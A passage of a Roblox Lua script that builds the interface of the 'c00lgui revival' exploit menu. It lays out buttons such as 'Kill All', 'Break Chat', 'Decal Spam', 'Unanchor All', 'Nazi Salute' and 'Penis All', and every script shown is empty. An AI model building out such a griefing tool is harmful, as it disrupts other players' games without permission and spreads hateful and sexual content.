G2L["dc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["dc"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["dc"]["Name"] = [[Button]];
G2L["dc"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["dc"]["Text"] = [[team c00lkidd Logo 2]];
G2L["dc"]["Position"] = UDim2.new(0, 73, 0, 33);


-- StarterGui.CoolGui.Frame.Page4.Section1.Button.LocalScript
G2L["dd"] = Instance.new("LocalScript", G2L["dc"]);



-- StarterGui.CoolGui.Frame.Page5
G2L["de"] = Instance.new("Frame", G2L["2"]);
G2L["de"]["Visible"] = false;
G2L["de"]["ZIndex"] = 2;
G2L["de"]["BorderSizePixel"] = 3;
G2L["de"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["de"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["de"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["de"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["de"]["Name"] = [[Page5]];


-- StarterGui.CoolGui.Frame.Page5.PageLabel
G2L["df"] = Instance.new("TextLabel", G2L["de"]);
G2L["df"]["ZIndex"] = 2;
G2L["df"]["BorderSizePixel"] = 3;
G2L["df"]["TextSize"] = 14;
G2L["df"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["df"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["df"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["df"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["df"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["df"]["Text"] = [[Page 5]];
G2L["df"]["Name"] = [[PageLabel]];
G2L["df"]["Position"] = UDim2.new(0, 0, 1, -30);


-- StarterGui.CoolGui.Frame.Page5.Section2
G2L["e0"] = Instance.new("Frame", G2L["de"]);
G2L["e0"]["Active"] = true;
G2L["e0"]["BorderSizePixel"] = 3;
G2L["e0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e0"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["e0"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["e0"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["e0"]["Name"] = [[Section2]];


-- StarterGui.CoolGui.Frame.Page5.Section2.SectionTitle
G2L["e1"] = Instance.new("TextLabel", G2L["e0"]);
G2L["e1"]["BorderSizePixel"] = 3;
G2L["e1"]["TextSize"] = 14;
G2L["e1"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e1"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["e1"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e1"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["e1"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["e1"]["Text"] = [[FE Scripts]];
G2L["e1"]["Name"] = [[SectionTitle]];


-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["e2"] = Instance.new("TextButton", G2L["e0"]);
G2L["e2"]["TextWrapped"] = true;
G2L["e2"]["BorderSizePixel"] = 3;
G2L["e2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e2"]["TextSize"] = 14;
G2L["e2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e2"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["e2"]["Name"] = [[Button]];
G2L["e2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["e2"]["Text"] = [[Sound Glitcher]];
G2L["e2"]["Position"] = UDim2.new(0, 0, 0, 33);


-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["e3"] = Instance.new("LocalScript", G2L["e2"]);



-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["e4"] = Instance.new("TextButton", G2L["e0"]);
G2L["e4"]["BorderSizePixel"] = 3;
G2L["e4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e4"]["TextSize"] = 14;
G2L["e4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e4"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["e4"]["Name"] = [[Button]];
G2L["e4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["e4"]["Text"] = [[Blackhole]];
G2L["e4"]["Position"] = UDim2.new(0, 0, 0, 66);


-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["e5"] = Instance.new("LocalScript", G2L["e4"]);



-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["e6"] = Instance.new("TextButton", G2L["e0"]);
G2L["e6"]["BorderSizePixel"] = 3;
G2L["e6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e6"]["TextSize"] = 14;
G2L["e6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e6"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["e6"]["Name"] = [[Button]];
G2L["e6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["e6"]["Text"] = [[FE Flip]];
G2L["e6"]["Position"] = UDim2.new(0, 0, 0, 99);


-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["e7"] = Instance.new("LocalScript", G2L["e6"]);



-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["e8"] = Instance.new("TextButton", G2L["e0"]);
G2L["e8"]["TextWrapped"] = true;
G2L["e8"]["BorderSizePixel"] = 3;
G2L["e8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["e8"]["TextSize"] = 14;
G2L["e8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["e8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["e8"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["e8"]["Name"] = [[Button]];
G2L["e8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["e8"]["Text"] = [[Hamster Ball]];
G2L["e8"]["Position"] = UDim2.new(0, 0, 0, 132);


-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["e9"] = Instance.new("LocalScript", G2L["e8"]);



-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["ea"] = Instance.new("TextButton", G2L["e0"]);
G2L["ea"]["BorderSizePixel"] = 3;
G2L["ea"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ea"]["TextSize"] = 14;
G2L["ea"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ea"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ea"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ea"]["Name"] = [[Button]];
G2L["ea"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ea"]["Text"] = [[Rickroll Chat]];
G2L["ea"]["Position"] = UDim2.new(0, 0, 0, 165);


-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["eb"] = Instance.new("LocalScript", G2L["ea"]);



-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["ec"] = Instance.new("TextButton", G2L["e0"]);
G2L["ec"]["BorderSizePixel"] = 3;
G2L["ec"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ec"]["TextSize"] = 14;
G2L["ec"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ec"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ec"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ec"]["Name"] = [[Button]];
G2L["ec"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ec"]["Text"] = [[Nazi Salute]];
G2L["ec"]["Position"] = UDim2.new(0, 0, 0, 198);


-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["ed"] = Instance.new("LocalScript", G2L["ec"]);



-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["ee"] = Instance.new("TextButton", G2L["e0"]);
G2L["ee"]["TextWrapped"] = true;
G2L["ee"]["BorderSizePixel"] = 3;
G2L["ee"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["ee"]["TextSize"] = 14;
G2L["ee"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["ee"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["ee"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["ee"]["Name"] = [[Button]];
G2L["ee"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["ee"]["Text"] = [[sing c00lkidd anthem]];
G2L["ee"]["Position"] = UDim2.new(0, 73, 0, 66);


-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["ef"] = Instance.new("LocalScript", G2L["ee"]);



-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["f0"] = Instance.new("TextButton", G2L["e0"]);
G2L["f0"]["BorderSizePixel"] = 3;
G2L["f0"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f0"]["TextSize"] = 14;
G2L["f0"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f0"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f0"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["f0"]["Name"] = [[Button]];
G2L["f0"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["f0"]["Text"] = [[commit oof]];
G2L["f0"]["Position"] = UDim2.new(0, 73, 0, 99);


-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["f1"] = Instance.new("LocalScript", G2L["f0"]);



-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["f2"] = Instance.new("TextButton", G2L["e0"]);
G2L["f2"]["BorderSizePixel"] = 3;
G2L["f2"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f2"]["TextSize"] = 14;
G2L["f2"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f2"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f2"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["f2"]["Name"] = [[Button]];
G2L["f2"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["f2"]["Text"] = [[Chat Troll]];
G2L["f2"]["Position"] = UDim2.new(0, 73, 0, 132);


-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["f3"] = Instance.new("LocalScript", G2L["f2"]);



-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["f4"] = Instance.new("TextButton", G2L["e0"]);
G2L["f4"]["BorderSizePixel"] = 3;
G2L["f4"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f4"]["TextSize"] = 14;
G2L["f4"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f4"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f4"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["f4"]["Name"] = [[Button]];
G2L["f4"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["f4"]["Text"] = [[Break Chat]];
G2L["f4"]["Position"] = UDim2.new(0, 73, 0, 165);


-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["f5"] = Instance.new("LocalScript", G2L["f4"]);



-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["f6"] = Instance.new("TextButton", G2L["e0"]);
G2L["f6"]["BorderSizePixel"] = 3;
G2L["f6"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f6"]["TextSize"] = 14;
G2L["f6"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f6"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f6"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["f6"]["Name"] = [[Button]];
G2L["f6"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["f6"]["Text"] = [[OG Anims]];
G2L["f6"]["Position"] = UDim2.new(0, 73, 0, 198);


-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["f7"] = Instance.new("LocalScript", G2L["f6"]);



-- StarterGui.CoolGui.Frame.Page5.Section2.Button
G2L["f8"] = Instance.new("TextButton", G2L["e0"]);
G2L["f8"]["BorderSizePixel"] = 3;
G2L["f8"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["f8"]["TextSize"] = 14;
G2L["f8"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["f8"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["f8"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["f8"]["Name"] = [[Button]];
G2L["f8"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["f8"]["Text"] = [[FE Car]];
G2L["f8"]["Position"] = UDim2.new(0, 73, 0, 33);


-- StarterGui.CoolGui.Frame.Page5.Section2.Button.LocalScript
G2L["f9"] = Instance.new("LocalScript", G2L["f8"]);



-- StarterGui.CoolGui.Frame.Page5.Section1
G2L["fa"] = Instance.new("Frame", G2L["de"]);
G2L["fa"]["Active"] = true;
G2L["fa"]["BorderSizePixel"] = 3;
G2L["fa"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fa"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["fa"]["Position"] = UDim2.new(0, 3, 0, 0);
G2L["fa"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["fa"]["Name"] = [[Section1]];


-- StarterGui.CoolGui.Frame.Page5.Section1.SectionTitle
G2L["fb"] = Instance.new("TextLabel", G2L["fa"]);
G2L["fb"]["BorderSizePixel"] = 3;
G2L["fb"]["TextSize"] = 14;
G2L["fb"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fb"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Bold, Enum.FontStyle.Normal);
G2L["fb"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fb"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["fb"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["fb"]["Text"] = [[F3X Scrpts]];
G2L["fb"]["Name"] = [[SectionTitle]];


-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["fc"] = Instance.new("TextButton", G2L["fa"]);
G2L["fc"]["BorderSizePixel"] = 3;
G2L["fc"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fc"]["TextSize"] = 14;
G2L["fc"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fc"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fc"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["fc"]["Name"] = [[Button]];
G2L["fc"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["fc"]["Text"] = [[Set Skybox]];
G2L["fc"]["Position"] = UDim2.new(0, 0, 0, 33);


-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["fd"] = Instance.new("LocalScript", G2L["fc"]);



-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["fe"] = Instance.new("TextButton", G2L["fa"]);
G2L["fe"]["BorderSizePixel"] = 3;
G2L["fe"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["fe"]["TextSize"] = 14;
G2L["fe"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["fe"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["fe"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["fe"]["Name"] = [[Button]];
G2L["fe"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["fe"]["Text"] = [[Fire Parts]];
G2L["fe"]["Position"] = UDim2.new(0, 0, 0, 66);


-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["ff"] = Instance.new("LocalScript", G2L["fe"]);



-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["100"] = Instance.new("TextButton", G2L["fa"]);
G2L["100"]["BorderSizePixel"] = 3;
G2L["100"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["100"]["TextSize"] = 14;
G2L["100"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["100"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["100"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["100"]["Name"] = [[Button]];
G2L["100"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["100"]["Text"] = [[Raining Toads]];
G2L["100"]["Position"] = UDim2.new(0, 0, 0, 99);


-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["101"] = Instance.new("LocalScript", G2L["100"]);



-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["102"] = Instance.new("TextButton", G2L["fa"]);
G2L["102"]["BorderSizePixel"] = 3;
G2L["102"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["102"]["TextSize"] = 14;
G2L["102"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["102"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["102"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["102"]["Name"] = [[Button]];
G2L["102"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["102"]["Text"] = [[Baseplate]];
G2L["102"]["Position"] = UDim2.new(0, 0, 0, 132);


-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["103"] = Instance.new("LocalScript", G2L["102"]);



-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["104"] = Instance.new("TextButton", G2L["fa"]);
G2L["104"]["BorderSizePixel"] = 3;
G2L["104"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["104"]["TextSize"] = 14;
G2L["104"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["104"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["104"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["104"]["Name"] = [[Button]];
G2L["104"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["104"]["Text"] = [[Unanchor All]];
G2L["104"]["Position"] = UDim2.new(0, 0, 0, 165);


-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["105"] = Instance.new("LocalScript", G2L["104"]);



-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["106"] = Instance.new("TextButton", G2L["fa"]);
G2L["106"]["BorderSizePixel"] = 3;
G2L["106"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["106"]["TextSize"] = 14;
G2L["106"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["106"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["106"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["106"]["Name"] = [[Button]];
G2L["106"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["106"]["Text"] = [[Raining Luigis]];
G2L["106"]["Position"] = UDim2.new(0, 0, 0, 198);


-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["107"] = Instance.new("LocalScript", G2L["106"]);



-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["108"] = Instance.new("TextButton", G2L["fa"]);
G2L["108"]["BorderSizePixel"] = 3;
G2L["108"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["108"]["TextSize"] = 14;
G2L["108"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["108"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["108"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["108"]["Name"] = [[Button]];
G2L["108"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["108"]["Text"] = [[Burn All]];
G2L["108"]["Position"] = UDim2.new(0, 73, 0, 66);


-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["109"] = Instance.new("LocalScript", G2L["108"]);



-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["10a"] = Instance.new("TextButton", G2L["fa"]);
G2L["10a"]["BorderSizePixel"] = 3;
G2L["10a"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10a"]["TextSize"] = 14;
G2L["10a"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10a"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10a"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["10a"]["Name"] = [[Button]];
G2L["10a"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["10a"]["Text"] = [[Kill All]];
G2L["10a"]["Position"] = UDim2.new(0, 73, 0, 99);


-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["10b"] = Instance.new("LocalScript", G2L["10a"]);



-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["10c"] = Instance.new("TextButton", G2L["fa"]);
G2L["10c"]["BorderSizePixel"] = 3;
G2L["10c"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10c"]["TextSize"] = 14;
G2L["10c"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10c"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10c"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["10c"]["Name"] = [[Button]];
G2L["10c"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["10c"]["Text"] = [[Bighead All]];
G2L["10c"]["Position"] = UDim2.new(0, 73, 0, 132);


-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["10d"] = Instance.new("LocalScript", G2L["10c"]);



-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["10e"] = Instance.new("TextButton", G2L["fa"]);
G2L["10e"]["BorderSizePixel"] = 3;
G2L["10e"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["10e"]["TextSize"] = 14;
G2L["10e"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["10e"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["10e"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["10e"]["Name"] = [[Button]];
G2L["10e"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["10e"]["Text"] = [[Disco]];
G2L["10e"]["Position"] = UDim2.new(0, 73, 0, 165);


-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["10f"] = Instance.new("LocalScript", G2L["10e"]);



-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["110"] = Instance.new("TextButton", G2L["fa"]);
G2L["110"]["BorderSizePixel"] = 3;
G2L["110"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["110"]["TextSize"] = 14;
G2L["110"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["110"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["110"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["110"]["Name"] = [[Button]];
G2L["110"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["110"]["Text"] = [[Penis All]];
G2L["110"]["Position"] = UDim2.new(0, 73, 0, 198);


-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["111"] = Instance.new("LocalScript", G2L["110"]);



-- StarterGui.CoolGui.Frame.Page5.Section1.Button
G2L["112"] = Instance.new("TextButton", G2L["fa"]);
G2L["112"]["BorderSizePixel"] = 3;
G2L["112"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["112"]["TextSize"] = 14;
G2L["112"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["112"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["112"]["Size"] = UDim2.new(0.5, 0, 0, 30);
G2L["112"]["Name"] = [[Button]];
G2L["112"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["112"]["Text"] = [[Decal Spam]];
G2L["112"]["Position"] = UDim2.new(0, 73, 0, 33);


-- StarterGui.CoolGui.Frame.Page5.Section1.Button.LocalScript
G2L["113"] = Instance.new("LocalScript", G2L["112"]);



-- StarterGui.CoolGui.Frame.Page6
G2L["114"] = Instance.new("Frame", G2L["2"]);
G2L["114"]["Visible"] = false;
G2L["114"]["ZIndex"] = 2;
G2L["114"]["BorderSizePixel"] = 3;
G2L["114"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["114"]["Size"] = UDim2.new(1, 0, 1, -106);
G2L["114"]["Position"] = UDim2.new(0, 0, 0, 83);
G2L["114"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["114"]["Name"] = [[Page6]];


-- StarterGui.CoolGui.Frame.Page6.PageLabel
G2L["115"] = Instance.new("TextLabel", G2L["114"]);
G2L["115"]["ZIndex"] = 2;
G2L["115"]["BorderSizePixel"] = 3;
G2L["115"]["TextSize"] = 14;
G2L["115"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["115"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["115"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["115"]["Size"] = UDim2.new(1, 0, 0, 30);
G2L["115"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["115"]["Text"] = [[Page 6]];
G2L["115"]["Name"] = [[PageLabel]];
G2L["115"]["Position"] = UDim2.new(0, 0, 1, -30);


-- StarterGui.CoolGui.Frame.Page6.Section2
G2L["116"] = Instance.new("Frame", G2L["114"]);
G2L["116"]["Active"] = true;
G2L["116"]["BorderSizePixel"] = 3;
G2L["116"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["116"]["Size"] = UDim2.new(0.5, -3, 1, 0);
G2L["116"]["Position"] = UDim2.new(0.5, 3, 0, 0);
G2L["116"]["BorderColor3"] = Color3.fromRGB(255, 0, 0);
G2L["116"]["Name"] = [[Section2]];


-- StarterGui.CoolGui.Frame.Page6.Section2.Credits
G2L["117"] = Instance.new("TextLabel", G2L["116"]);
G2L["117"]["TextWrapped"] = true;
G2L["117"]["BorderSizePixel"] = 3;
G2L["117"]["TextSize"] = 14;
G2L["117"]["TextYAlignment"] = Enum.TextYAlignment.Top;
G2L["117"]["BackgroundColor3"] = Color3.fromRGB(0, 0, 0);
G2L["117"]["FontFace"] = Font.new([[rbxasset://fonts/families/SourceSansPro.json]], Enum.FontWeight.Regular, Enum.FontStyle.Normal);
G2L["117"]["TextColor3"] = Color3.fromRGB(255, 255, 255);
G2L["117"]["Size"] = UDim2.new(1, 0, 1, 0);
G2L["117"]["BorderColor3"] = Color3.fromRGB(255, 0, 5);
G2L["117"]["Text"] = [[Thank you for using c00lgui revival!

Want to give suggestions? DM Hyperion!
Discord Username: hyperionhax

Special Thanks to:
007n7
KebinMaster
14anz
qipu
rindotekame
Temokhalid
Hyperion1
Hyperion2
Hyperion3]];
G2L["117"]["Name"] = [[Credits]];


-- StarterGui.CoolGui.Frame.Page6.Section1
G2L["118"] = Instance.new("Frame", G2L["114"]);
G2L["118"]["Active"] = true;
